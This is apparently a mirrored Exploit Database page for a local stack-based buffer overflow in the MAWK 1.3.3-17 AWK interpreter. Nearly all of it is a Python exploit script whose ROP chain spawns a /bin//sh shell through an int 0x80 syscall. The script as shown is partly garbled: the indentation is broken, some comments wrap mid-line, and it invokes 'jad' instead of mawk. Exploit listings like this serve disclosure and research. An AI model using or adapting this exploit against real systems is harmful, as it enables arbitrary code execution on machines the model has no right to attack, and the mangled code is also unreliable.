MAWK 1.3.3-17 – Local Buffer Overflow

• Exploit Database
• 17 阅读

• 作者： Juan Sacco
  日期： 2017-07-24
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42357/

• #!/usr/bin/python
  # Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
  # Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
  # Tested on: GNU/Linux - Kali 2017.1 Release
  #
  # Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to a stack-based buffer overflow
  # vulnerability because the application fails to perform adequate boundary-checks on user-supplied input.
  #
  # Program affected: mawk is an interpreter for the AWK Programming Language. The AWK language is useful
  # for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms.
  #
  # An attacker could exploit this vulnerability to execute arbitrary code in the
  # context of the application. Failed exploit attempts will result in a
  # denial-of-service condition.
  #
  import os, subprocess
  from struct import pack
  
   ropchain = "A"*1038 # junk
   ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
   edi ; pop ebp ; ret
   ropchain += pack('<I', 0x0811abe0) # @ .data
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x0807b744) # pop eax ; ret
   ropchain += '/bin'
   ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
   ebx ; pop ebp ; ret
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
   edi ; pop ebp ; ret
   ropchain += pack('<I', 0x0811abe4) # @ .data + 4
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x0807b744) # pop eax ; ret
   ropchain += '//sh'
   ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
   ebx ; pop ebp ; ret
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
   edi ; pop ebp ; ret
   ropchain += pack('<I', 0x0811abe8) # @ .data + 8
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x0810ae08) # mov dword ptr [edx], eax ; pop
   ebx ; pop ebp ; ret
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x080dcf4b) # pop ebx ; pop esi ; pop edi ; ret
   ropchain += pack('<I', 0x0811abe0) # @ .data
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x08067b43) # pop ecx ; ret
   ropchain += pack('<I', 0x0811abe8) # @ .data + 8
   ropchain += pack('<I', 0x080e9101) # pop edx ; pop ebx ; pop esi ; pop
   edi ; pop ebp ; ret
   ropchain += pack('<I', 0x0811abe8) # @ .data + 8
   ropchain += pack('<I', 0x0811abe0) # padding without overwrite ebx
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x080b4970) # xor eax, eax ; pop esi ; pop ebp ; ret
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x41414141) # padding
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080e571f) # inc eax ; ret
   ropchain += pack('<I', 0x080c861f) # int 0x80
  
  try:
   print("[*] MAWK 1.3.3 Stack-Based Buffer Overflow by Juan Sacco")
  print("[*] Please wait.. running")
   subprocess.call(["jad", ropchain])
  except OSError as e:
   if e.errno == os.errno.ENOENT:
  print "MAWKnot found!"
   else:
   print "Error executing exploit"
  raise